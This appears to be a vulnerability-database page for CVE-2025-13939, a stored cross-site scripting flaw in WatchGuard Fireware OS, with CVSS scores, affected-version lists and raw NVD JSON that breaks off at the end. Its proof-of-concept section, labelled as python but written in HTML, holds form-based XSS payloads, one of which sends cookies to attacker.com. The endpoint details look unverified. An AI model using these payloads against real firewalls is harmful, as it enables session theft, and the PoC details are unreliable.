Security Vulnerability Report
中文
CVE-2025-13939 CVSS 6.1 MEDIUM

CVE-2025-13939

Published: 2025-12-04 22:15:48
Last Modified: 2025-12-10 16:03:54
Source: 5d1c2695-1a31-4499-88ae-e847036fd7e3

Description

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in WatchGuard Fireware OS (Gateway Wireless Controller module) allows Stored XSS.This issue affects Fireware OS 11.7.2 up to and including 11.12.4+541730, 12.0 up to and including 12.11.4, 12.5 up to and including 12.5.13, and 2025.1 up to and including 2025.1.2.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:o:watchguard:fireware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:watchguard:firebox_t115-w:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:watchguard:firebox_t125:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:watchguard:firebox_t125-w:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:watchguard:firebox_t145:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:watchguard:firebox_t145-w:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:watchguard:fireware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:watchguard:firebox_m270:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:watchguard:firebox_m290:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:watchguard:firebox_m370:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:watchguard:firebox_m390:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:watchguard:firebox_m440:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:watchguard:fireware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:watchguard:firebox_t15:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:watchguard:firebox_t35:-:*:*:*:*:*:*:* - NOT VULNERABLE
WatchGuard Fireware OS 11.7.2 - 11.12.4+541730
WatchGuard Fireware OS 12.0 - 12.11.4
WatchGuard Fireware OS 12.5 - 12.5.13
WatchGuard Fireware OS 2025.1 - 2025.1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-13939 Stored XSS PoC --> <!-- Target: WatchGuard Fireware OS Gateway Wireless Controller --> <!-- This PoC demonstrates the XSS vulnerability in SSID configuration --> <!DOCTYPE html> <html> <head> <title>CVE-2025-13939 PoC</title> </head> <body> <h2>CVE-2025-13939 Stored XSS PoC</h2> <p>Target: WatchGuard Fireware OS Gateway Wireless Controller</p> <!-- Method 1: Script tag injection --> <form id="ssidForm" action="https://TARGET_FIREWALL/wgc2.cgi" method="POST"> <input type="hidden" name="action" value="save_ssid"> <input type="hidden" name="ssid_name" value='"><script>alert("XSS")</script><x y="'> <input type="hidden" name="security_type" value="WPA2"> </form> <!-- Method 2: Event handler injection --> <form id="deviceForm" action="https://TARGET_FIREWALL/wgc2.cgi" method="POST"> <input type="hidden" name="action" value="save_device"> <input type="hidden" name="device_name" value='TestDevice" onerror="alert(document.cookie)" x="'> </form> <!-- Method 3: img onerror injection --> <form id="profileForm" action="https://TARGET_FIREWALL/wgc2.cgi" method="POST"> <input type="hidden" name="action" value="save_profile"> <input type="hidden" name="profile_name" value='<img src=x onerror=fetch("https://attacker.com/steal?c="+document.cookie)>'> </form> <script> // Auto-submit for demonstration (disabled by default) // document.getElementById('ssidForm').submit(); function demonstrateXSS() { // Display the payloads console.log('Payload 1:', '<script>alert("XSS")</script>'); console.log('Payload 2:', '" onerror="alert(document.cookie)" x="'); console.log('Payload 3:', '<img src=x onerror=fetch("https://attacker.com/steal?c="+document.cookie)>'); } demonstrateXSS(); </script> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13939", "sourceIdentifier": "5d1c2695-1a31-4499-88ae-e847036fd7e3", "published": "2025-12-04T22:15:48.000", "lastModified": "2025-12-10T16:03:53.653", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in WatchGuard Fireware OS (Gateway Wireless Controller module) allows Stored XSS.This issue affects Fireware OS 11.7.2 up to and including 11.12.4+541730, 12.0 up to and including 12.11.4, 12.5 up to and including 12.5.13, and 2025.1 up to and including 2025.1.2."}], "metrics": {"cvssMetricV40": [{"source": "5d1c2695-1a31-4499-88ae-e847036fd7e3", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "5d1c2695-1a31-4499-88ae-e847036fd7e3", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:watchguard:fireware:*:*:*:*:*:*:*:*", "versionStartIncluding": "2025.1", "versionEndExcluding": "2025.1.3", "matchCriteriaId": "46DAB795-8DD0-4D6C-99D5-B9057E76DB87"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:watchguard:firebox_t115-w:-:*:*:*:*:*:*:*", "matchCriteriaId": "E8AAE66B-DD19-4C90-8DFC-F77BA1541642"}, {"vulnerable": false, "criteria": "cpe:2.3:h:watchguard:firebox_t125:-:*:*:*:*:*:*:*", "matchCriteriaId": "7FC18430-C6B4-4395-BFF1-83BB005875BA"}, {"vulnerable": false, "criteria": "cpe:2.3:h:watchguard:firebox_t125-w:-:*:*:*:*:*:*:*", "matchCriteriaId": "1A7C1C91-8B6E-4FB0-841E-7F88B06B1435"}, {"vulnerable": false, "criteria": "cpe:2.3:h:watchguard:firebox_t145:-:*:*:*:*:*:*:*", "matchCriteriaId": "8FE309D6-BD5E-4D18-91C3-A492C3576115"}, {"vulnerable": false, "criteria": "cpe:2.3:h:watchguard:firebox_t145-w:-:*:*:*:*:*:*:*", "matchCriteriaId": "75959D39-0960-4836-96C7-DB8048DDE4B8"}, {"vulnerable": false, "criteria": "cpe:2.3:h:watchguard:firebox_t185:-:*:*:*:*:*:*:*", "matchCriteriaId": "D0087049-27C6-4B18-A645-72A8F63D7C6D"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:watchguard:fireware:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.7.2", "versionEndExcluding": "12.11.5", "matchCriteriaId": "90407EAF-9D98-41AF-B317-1D38CBFE8744"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:watchguard:firebox_m270:-:*:*:*:*:*:*:*", "matchCriteriaId": "E472917E-D6E1-4C2D-B37D-E76FCC7307CA"}, {"vulnerable": false, "criteria": "cpe:2.3:h:watchguard:firebox_m290:-:*:*:*:*:*:*:*", "matchCriteriaId": "9A8C7779-4466-4A9E-B191-929E7746DFF7"}, {"vulnerable": false, "criteria": "cpe:2.3:h:watchguard:firebox_m370:-:*:*:*:*:*:*:*", "matchCriteriaId": "6CE9A123-B769-4E56-845E-DC3DA6166C78"}, {"vulnerable": false, "criteria": "cpe:2.3:h:watchguard:firebox_m390:-:*:*:*:*:*:*:*", "matchCriteriaId": "180FAE8C-2E73-4C09-AA11-0C82A77 ... (truncated)